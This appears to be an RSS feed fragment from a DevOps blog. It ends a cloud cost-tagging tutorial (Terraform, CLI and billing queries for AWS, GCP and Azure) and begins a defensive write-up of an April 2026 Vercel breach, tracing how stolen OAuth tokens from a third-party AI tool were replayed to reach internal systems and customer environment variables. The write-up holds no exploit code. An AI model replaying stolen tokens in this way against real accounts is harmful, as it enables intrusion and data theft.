        <span class="hljs-attr">&quot;@@assign&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;payments&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;growth&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;platform&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;data&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;ml&quot;</span><span class="hljs-punctuation">]</span>
      <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;enforced_for&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;@@assign&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;ec2:instance&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;ec2:volume&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;rds:db&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;s3:bucket&quot;</span><span class="hljs-punctuation">]</span>
      <span class="hljs-punctuation">}</span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;environment&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;tag_key&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;@@assign&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;environment&quot;</span> <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;tag_value&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;@@assign&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;prod&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;staging&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;dev&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;sandbox&quot;</span><span class="hljs-punctuation">]</span>
      <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;enforced_for&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;@@assign&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;ec2:instance&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;ec2:volume&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;rds:db&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;s3:bucket&quot;</span><span class="hljs-punctuation">]</span>
      <span class="hljs-punctuation">}</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span>
</code></pre><p>When someone tries to create an EC2 instance without those tags, you get a clear failure:</p>
<pre><code class="hljs language-text">An error occurred (TagPolicyViolation) when calling the RunInstances operation:
The request was rejected because tag policy compliance check failed.
Missing required tag keys: team, environment.
</code></pre><p>That is the error message you want. Loud, early, and specific.</p>
<h2 id="h2-step-3-gcp-labels-not-tags" class="group relative scroll-mt-24">
        <a href="#h2-step-3-gcp-labels-not-tags" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 3: GCP - labels, not tags
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-3-gcp-labels-not-tags"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>GCP confuses people because it has both <strong>labels</strong> (key-value pairs for billing and grouping) and <strong>tags</strong> (a separate IAM thing for conditional policies). For cost allocation you want labels.</p>
<p>Label keys must be lowercase, must start with a letter, and can contain letters, digits, hyphens, and underscores. No dots, no uppercase, no spaces. Pick <code>cost-center</code> not <code>CostCenter</code>.</p>
<p>Add labels via Terraform:</p>
<pre><code class="hljs language-hcl"><span class="hljs-keyword">resource</span> <span class="hljs-string">&quot;google_compute_instance&quot;</span> <span class="hljs-string">&quot;api&quot;</span> {
  name         = <span class="hljs-string">&quot;api-prod-eu-1&quot;</span>
  machine_type = <span class="hljs-string">&quot;e2-standard-4&quot;</span>
  zone         = <span class="hljs-string">&quot;europe-west1-b&quot;</span>

  labels = {
    team        = <span class="hljs-string">&quot;payments&quot;</span>
    environment = <span class="hljs-string">&quot;prod&quot;</span>
    cost-center = <span class="hljs-string">&quot;cc-1042&quot;</span>
    service     = <span class="hljs-string">&quot;checkout-api&quot;</span>
    managed-by  = <span class="hljs-string">&quot;terraform&quot;</span>
  }

  boot_disk {
    initialize_params {
      image = <span class="hljs-string">&quot;debian-cloud/debian-12&quot;</span>
    }
  }

  network_interface {
    network = <span class="hljs-string">&quot;default&quot;</span>
  }
}
</code></pre><p>Unlike AWS, GCP does not require activation. Labels show up automatically in the billing export once you turn it on. If you have not enabled the BigQuery billing export yet, do that now:</p>
<pre><code class="hljs language-bash">gcloud billing accounts list

gcloud beta billing accounts describe BILLING_ACCOUNT_ID
</code></pre><p>Then in the console: <strong>Billing &gt; Billing export &gt; BigQuery export</strong>, point it at a dataset, and within a few hours you can query labeled cost like this:</p>
<pre><code class="hljs language-sql"><span class="hljs-keyword">SELECT</span>
  (<span class="hljs-keyword">SELECT</span> <span class="hljs-keyword">value</span> <span class="hljs-keyword">FROM</span> <span class="hljs-built_in">UNNEST</span>(labels) <span class="hljs-keyword">WHERE</span> key <span class="hljs-operator">=</span> <span class="hljs-string">&#x27;team&#x27;</span>)        <span class="hljs-keyword">AS</span> team,
  (<span class="hljs-keyword">SELECT</span> <span class="hljs-keyword">value</span> <span class="hljs-keyword">FROM</span> <span class="hljs-built_in">UNNEST</span>(labels) <span class="hljs-keyword">WHERE</span> key <span class="hljs-operator">=</span> <span class="hljs-string">&#x27;environment&#x27;</span>) <span class="hljs-keyword">AS</span> environment,
  service.description                                           <span class="hljs-keyword">AS</span> service,
  <span class="hljs-built_in">SUM</span>(cost)                                                     <span class="hljs-keyword">AS</span> cost_usd
<span class="hljs-keyword">FROM</span> `my<span class="hljs-operator">-</span>project.billing_export.gcp_billing_export_v1_<span class="hljs-operator">*</span>`
<span class="hljs-keyword">WHERE</span> _PARTITIONDATE <span class="hljs-keyword">BETWEEN</span> <span class="hljs-string">&#x27;2026-04-01&#x27;</span> <span class="hljs-keyword">AND</span> <span class="hljs-string">&#x27;2026-04-30&#x27;</span>
<span class="hljs-keyword">GROUP</span> <span class="hljs-keyword">BY</span> team, environment, service
<span class="hljs-keyword">ORDER</span> <span class="hljs-keyword">BY</span> cost_usd <span class="hljs-keyword">DESC</span>
LIMIT <span class="hljs-number">50</span>;
</code></pre><p>Sample output:</p>
<pre><code class="hljs language-text">team       environment  service                      cost_usd
payments   prod         Compute Engine               18420.55
growth     prod         BigQuery                     12005.10
ml         prod         Vertex AI                     9870.22
platform   prod         Cloud Logging                 4012.98
NULL       NULL         Compute Engine                3211.40   &lt;-- still untagged
</code></pre><p>That last row is the one to chase. To prevent more of it, add an Organization Policy that requires labels on resource creation:</p>
<pre><code class="hljs language-bash">gcloud resource-manager org-policies set-policy required_labels.yaml \
  --organization=ORG_ID
</code></pre><p>Where <code>required_labels.yaml</code> contains:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">constraint:</span> <span class="hljs-string">constraints/gcp.requireLabelsOnResourceCreation</span>
<span class="hljs-attr">listPolicy:</span>
  <span class="hljs-attr">allowedValues:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">team</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">environment</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">cost-center</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">service</span>
</code></pre><h2 id="h2-step-4-azure-tags-plus-policies" class="group relative scroll-mt-24">
        <a href="#h2-step-4-azure-tags-plus-policies" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 4: Azure - tags plus policies
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-4-azure-tags-plus-policies"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Azure tags are key-value pairs you attach to resources, resource groups, or subscriptions. Two gotchas worth knowing:</p>
<ul>
<li>Tags on a resource group do <strong>not</strong> propagate to resources inside it by default. You either set tags directly on each resource or use Azure Policy with the <code>inherit-tag</code> effect.</li>
<li>The portal may show tag keys with their original casing, but lookups are case-insensitive. Stick to lowercase to match AWS and GCP.</li>
</ul>
<p>In Terraform:</p>
<pre><code class="hljs language-hcl"><span class="hljs-keyword">resource</span> <span class="hljs-string">&quot;azurerm_resource_group&quot;</span> <span class="hljs-string">&quot;payments&quot;</span> {
  name     = <span class="hljs-string">&quot;rg-payments-prod-weu&quot;</span>
  location = <span class="hljs-string">&quot;westeurope&quot;</span>

  tags = {
    team        = <span class="hljs-string">&quot;payments&quot;</span>
    environment = <span class="hljs-string">&quot;prod&quot;</span>
    cost-center = <span class="hljs-string">&quot;cc-1042&quot;</span>
    service     = <span class="hljs-string">&quot;checkout-api&quot;</span>
    managed-by  = <span class="hljs-string">&quot;terraform&quot;</span>
  }
}

<span class="hljs-keyword">resource</span> <span class="hljs-string">&quot;azurerm_linux_virtual_machine&quot;</span> <span class="hljs-string">&quot;api&quot;</span> {
  name                = <span class="hljs-string">&quot;vm-api-prod-01&quot;</span>
  resource_group_name = azurerm_resource_group.payments.name
  location            = azurerm_resource_group.payments.location
  size                = <span class="hljs-string">&quot;Standard_D4s_v5&quot;</span>
  admin_username      = <span class="hljs-string">&quot;azureuser&quot;</span>

  tags = azurerm_resource_group.payments.tags

  <span class="hljs-comment"># ... network_interface_ids, os_disk, source_image_reference, etc.</span>
}
</code></pre><p>For enforcement, assign a built-in Azure Policy that denies any resource missing required tags:</p>
<pre><code class="hljs language-bash">az policy assignment create \
  --name <span class="hljs-string">&#x27;require-team-tag&#x27;</span> \
  --scope <span class="hljs-string">&quot;/subscriptions/<span class="hljs-variable">$SUBSCRIPTION_ID</span>&quot;</span> \
  --policy <span class="hljs-string">&#x27;871b6d14-10aa-478d-b590-94f262ecfa99&#x27;</span> \
  --params <span class="hljs-string">&#x27;{&quot;tagName&quot;: {&quot;value&quot;: &quot;team&quot;}}&#x27;</span>
</code></pre><p>Policy ID <code>871b6d14-10aa-478d-b590-94f262ecfa99</code> is the built-in &quot;Require a tag on resources&quot; policy. Assign it once per required key (<code>team</code>, <code>environment</code>, <code>cost-center</code>, <code>service</code>).</p>
<p>Now a missing tag fails at deployment:</p>
<pre><code class="hljs language-text">{
  &quot;error&quot;: {
    &quot;code&quot;: &quot;RequestDisallowedByPolicy&quot;,
    &quot;message&quot;: &quot;Resource &#x27;vm-api-prod-01&#x27; was disallowed by policy.
                Reasons: &#x27;The given resource does not have the required tag &#x27;team&#x27;&#x27;.&quot;
  }
}
</code></pre><p>To see costs broken down by tag, open <strong>Cost Management + Billing &gt; Cost analysis</strong>, group by tag, and pick <code>team</code>. Or query via CLI:</p>
<pre><code class="hljs language-bash">az consumption usage list \
  --start-date 2026-04-01 --end-date 2026-04-30 \
  --query <span class="hljs-string">&quot;[?tags.team==&#x27;payments&#x27;].{resource:instanceName, cost:pretaxCost}&quot;</span> \
  --output table
</code></pre><h2 id="h2-step-5-backfill-the-legacy-stuff" class="group relative scroll-mt-24">
        <a href="#h2-step-5-backfill-the-legacy-stuff" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 5: Backfill the legacy stuff
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-5-backfill-the-legacy-stuff"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Enforcement only fixes new resources. The pile of untagged stuff from before still shows up in your reports. Tag it in bulk.</p>
<p>For AWS, use the Resource Groups Tagging API:</p>
<pre><code class="hljs language-bash">aws resourcegroupstaggingapi tag-resources \
  --resource-arn-list \
    <span class="hljs-string">&quot;arn:aws:ec2:eu-west-1:123456789012:instance/i-0abc123&quot;</span> \
    <span class="hljs-string">&quot;arn:aws:ec2:eu-west-1:123456789012:instance/i-0def456&quot;</span> \
  --tags team=platform,environment=prod,cost-center=cc-9001,service=legacy-jobs
</code></pre><p>For GCP, label updates can be batched with <code>gcloud</code>:</p>
<pre><code class="hljs language-bash"><span class="hljs-keyword">for</span> instance <span class="hljs-keyword">in</span> $(gcloud compute instances list --format=<span class="hljs-string">&quot;value(name,zone)&quot;</span> | grep legacy); <span class="hljs-keyword">do</span>
  name=$(<span class="hljs-built_in">echo</span> <span class="hljs-variable">$instance</span> | awk <span class="hljs-string">&#x27;{print $1}&#x27;</span>)
  zone=$(<span class="hljs-built_in">echo</span> <span class="hljs-variable">$instance</span> | awk <span class="hljs-string">&#x27;{print $2}&#x27;</span>)
  gcloud compute instances update <span class="hljs-string">&quot;<span class="hljs-variable">$name</span>&quot;</span> --zone <span class="hljs-string">&quot;<span class="hljs-variable">$zone</span>&quot;</span> \
    --update-labels=team=platform,environment=prod,cost-center=cc-9001
<span class="hljs-keyword">done</span>
</code></pre><p>For Azure, the same pattern with <code>az tag update</code>:</p>
<pre><code class="hljs language-bash">az resource list --query <span class="hljs-string">&quot;[?tags.team==null].id&quot;</span> -o tsv | <span class="hljs-keyword">while</span> <span class="hljs-built_in">read</span> <span class="hljs-built_in">id</span>; <span class="hljs-keyword">do</span>
  az tag update --resource-id <span class="hljs-string">&quot;<span class="hljs-variable">$id</span>&quot;</span> --operation merge \
    --tags team=platform environment=prod cost-center=cc-9001
<span class="hljs-keyword">done</span>
</code></pre><p>Run a dry-run first by listing what would be touched, especially in production.</p>
<h2 id="h2-common-pitfalls-that-bite" class="group relative scroll-mt-24">
        <a href="#h2-common-pitfalls-that-bite" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Common pitfalls that bite
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-common-pitfalls-that-bite"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li><strong>AWS tag activation is retroactive only for new usage.</strong> If you activate <code>team</code> today, last month&#39;s costs stay grouped as <code>(not activated)</code>. There is no fix. Activate early in the lifecycle.</li>
<li><strong>GCP labels reject uppercase, dots, and starting with a digit.</strong> A schema that works in AWS may fail at apply time in GCP with <code>Invalid value for field &#39;resource.labels&#39;</code>. Validate keys against the strictest cloud first.</li>
<li><strong>Azure resource group tags do not propagate.</strong> A resource group tagged <code>team=payments</code> does not pass that to the VM inside it. Use the <code>inherit-tag</code> Azure Policy effect or set tags directly on resources.</li>
<li><strong>Some AWS services do not support tags on every sub-resource.</strong> CloudFront, Route 53 hosted zones, and a handful of others have spotty support. Check the docs before you assume coverage.</li>
<li><strong>Tag keys count toward limits.</strong> AWS allows 50 tags per resource. Azure allows 50. GCP allows 64 labels. Sounds like a lot until your platform team adds 30 of their own.</li>
</ul>
<h2 id="h2-next-steps" class="group relative scroll-mt-24">
        <a href="#h2-next-steps" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Next steps
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-next-steps"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>You now have a tag schema, enforcement at apply time, and visibility in each cloud&#39;s billing tooling. Pick one of these as the next move:</p>
<ol>
<li><strong>Wire the cost data into one place.</strong> Pull AWS CUR, GCP BigQuery export, and Azure exports into a single warehouse (BigQuery, Snowflake, or even Postgres if your bill is small). Build one chargeback report instead of three.</li>
<li><strong>Add a CI check that fails PRs missing tags.</strong> Run <code>terraform plan</code> and pipe through <code>conftest</code> or <code>checkov</code> to reject any resource block without the required keys. Catch it before it hits the cloud at all.</li>
<li><strong>Set up an &quot;untagged resources&quot; alert.</strong> A weekly job that counts resources without <code>team</code> and posts to Slack. The number should trend toward zero. If it does not, your enforcement has a hole.</li>
<li><strong>Run a tagging coverage report monthly.</strong> AWS calls this the &quot;Cost Allocation Tag&quot; coverage view. GCP and Azure require a quick SQL query or KQL query against the billing export. Track it like an SLO.</li>
</ol>
<p>The day finance asks &quot;who spent the $84,000?&quot; again, you want the answer to be a single SQL query, not a two-week archaeology project.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[The Vercel April 2026 Security Incident: What Happened and What to Do About It]]></title>
      <link>https://devops-daily.com/posts/vercel-april-2026-security-incident</link>
      <description><![CDATA[Vercel disclosed a security incident that started with a compromised OAuth app at Context.ai, escalated through a Vercel employee Google Workspace account, and reached internal systems plus customer environment variables not marked sensitive. Here is the attack chain, what was exposed, and what to change in your deployments.]]></description>
      <pubDate>Mon, 20 Apr 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/vercel-april-2026-security-incident</guid>
      <category><![CDATA[DevOps]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[security]]></category><category><![CDATA[vercel]]></category><category><![CDATA[supply-chain]]></category><category><![CDATA[oauth]]></category><category><![CDATA[google-workspace]]></category><category><![CDATA[devops]]></category>
      <content:encoded><![CDATA[<p>On April 19, 2026, Vercel <a href="https://vercel.com/kb/bulletin/vercel-april-2026-security-incident">disclosed a security incident</a> involving unauthorized access to internal systems. The attack did not start at Vercel. It started at a third-party AI tool called Context.ai that a Vercel employee happened to use, traveled through a compromised Google Workspace OAuth app, and eventually reached Vercel&#39;s internal environments and a subset of customer environment variables.</p>
<p>This is the story of a supply chain attack where the &quot;supply chain&quot; is not your code or your npm packages. It is the SaaS apps your employees log into with Google. Here is what happened, how to tell if you are affected, and what to change.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><table>
<thead>
<tr>
<th>Detail</th>
<th>Info</th>
</tr>
</thead>
<tbody><tr>
<td>Disclosed</td>
<td>April 19, 2026</td>
</tr>
<tr>
<td>Initial compromise</td>
<td>Context.ai AWS breach, March 2026</td>
</tr>
<tr>
<td>Initial vector</td>
<td>Stolen OAuth tokens for a Google Workspace OAuth app</td>
</tr>
<tr>
<td>OAuth client ID</td>
<td><code>110671459871-30f1spbu0hptbs60cb4vsmv79i7bbvqj.apps.googleusercontent.com</code></td>
</tr>
<tr>
<td>Affected</td>
<td>&quot;A limited subset of customers&quot; whose Vercel credentials were compromised</td>
</tr>
<tr>
<td>Data exposure</td>
<td>Environment variables <strong>not</strong> marked sensitive may have been read</td>
</tr>
<tr>
<td>Data NOT exposed</td>
<td>Environment variables marked sensitive</td>
</tr>
<tr>
<td>Response</td>
<td>Mandiant engaged, law enforcement notified, affected customers contacted directly</td>
</tr>
<tr>
<td>Services</td>
<td>Remained operational throughout</td>
</tr>
</tbody></table>
<p>Official sources: <a href="https://vercel.com/kb/bulletin/vercel-april-2026-security-incident">Vercel security bulletin</a> and <a href="https://x.com/vercel/status/2045865072074035664">Vercel&#39;s announcement on X</a>. Vercel CEO Guillermo Rauch also <a href="https://x.com/rauchg/status/2045995362499076169">followed up with context</a>.</p>
<h2 id="h2-what-happened" class="group relative scroll-mt-24">
        <a href="#h2-what-happened" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Happened
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-happened"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The attack chain is worth understanding in full because it illustrates how modern &quot;supply chain&quot; breaches increasingly route through identity providers rather than through code.</p>
<ol>
<li><strong>March 2026: Context.ai has an AWS breach.</strong> Context.ai is an AI tooling startup. They disclosed a breach of their AWS infrastructure in March. <a href="https://www.crowdstrike.com/">CrowdStrike</a> investigated on their behalf.</li>
<li><strong>OAuth tokens were stolen but not flagged.</strong> The AWS breach also exposed OAuth tokens that Context.ai held for its Google Workspace integration. The investigation apparently did not catch this.</li>
<li><strong>A Vercel employee used Context.ai.</strong> That employee had granted Context.ai access to their Google Workspace via OAuth, as you do with any third-party SaaS app that needs to read mail, files, or calendars.</li>
<li><strong>Attacker replayed the tokens.</strong> With valid OAuth tokens, the attacker could impersonate the Context.ai app and access the Vercel employee&#39;s Google Workspace account. No password or MFA prompt is triggered when a pre-authorized OAuth app calls the Google APIs.</li>
<li><strong>Lateral movement into Vercel internal systems.</strong> From the Workspace account, through a series of escalating moves, the attacker reached Vercel internal environments.</li>
<li><strong>Access to customer environment variables.</strong> Once inside, the attacker could read environment variables on the Vercel platform that were <strong>not</strong> marked as &quot;sensitive&quot; by the customer. Vercel encrypts all env vars at rest, but variables flagged sensitive are unreadable even by Vercel staff and stayed out of reach.</li>
</ol>
<p>Vercel detected the activity, engaged <a href="https://cloud.google.com/security/mandiant">Mandiant</a>, notified law enforcement, and disclosed publicly on April 19.</p>
<h2 id="h2-what-was-exposed-and-what-was-not" class="group relative scroll-mt-24">
        <a href="#h2-what-was-exposed-and-what-was-not" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Was Exposed (and What Was Not)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-was-exposed-and-what-was-not"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-what-vercel-officially-confirmed" class="group relative scroll-mt-24">
        <a href="#h3-what-vercel-officially-confirmed" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Vercel officially confirmed
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-vercel-officially-confirmed"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>What the attacker may have accessed:</p>
<ul>
<li>Vercel credentials for &quot;a limited subset of customers&quot;</li>
<li>Environment variables <strong>not</strong> marked sensitive on those customers&#39; projects</li>
<li>Deployment Protection tokens on those customers&#39; projects</li>
<li>Various internal Vercel systems and tooling</li>
</ul>
<p>What the attacker did <strong>not</strong> access:</p>
<ul>
<li>Environment variables marked sensitive (these are locked even against Vercel staff)</li>
<li>Anything at customers outside the named subset (Vercel reached out directly to those who were affected)</li>
<li>Vercel&#39;s build/runtime infrastructure itself</li>
</ul>
<blockquote>
<p>&quot;Environment variables marked as &#39;sensitive&#39; were <strong>not</strong> accessible to the threat actor.&quot;<br>Vercel Security Team, <a href="https://vercel.com/kb/bulletin/vercel-april-2026-security-incident">April 2026 bulletin</a></p>
</blockquote>
<p>Services remained operational throughout. The public Vercel edge, the build system, and your deployments were not the attack surface.</p>
<h3 id="h3-what-the-attackers-are-claiming" class="group relative scroll-mt-24">
        <a href="#h3-what-the-attackers-are-claiming" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What the attackers are claiming
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-the-attackers-are-claiming"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Separately from Vercel&#39;s official disclosure, a <a href="https://x.com/k1rallik/status/2045885869035323645">tweet from security researcher @k1rallik</a> claims the threat actor is <strong>ShinyHunters</strong> (the group behind the 2024 Ticketmaster breach) and that a copy of Vercel&#39;s internal database is being advertised for $2M on BreachForums. According to that claim, the listing includes <strong>NPM tokens and GitHub tokens</strong> belonging to Vercel. The researcher also claims Vercel contacted the attackers directly on Telegram.</p>
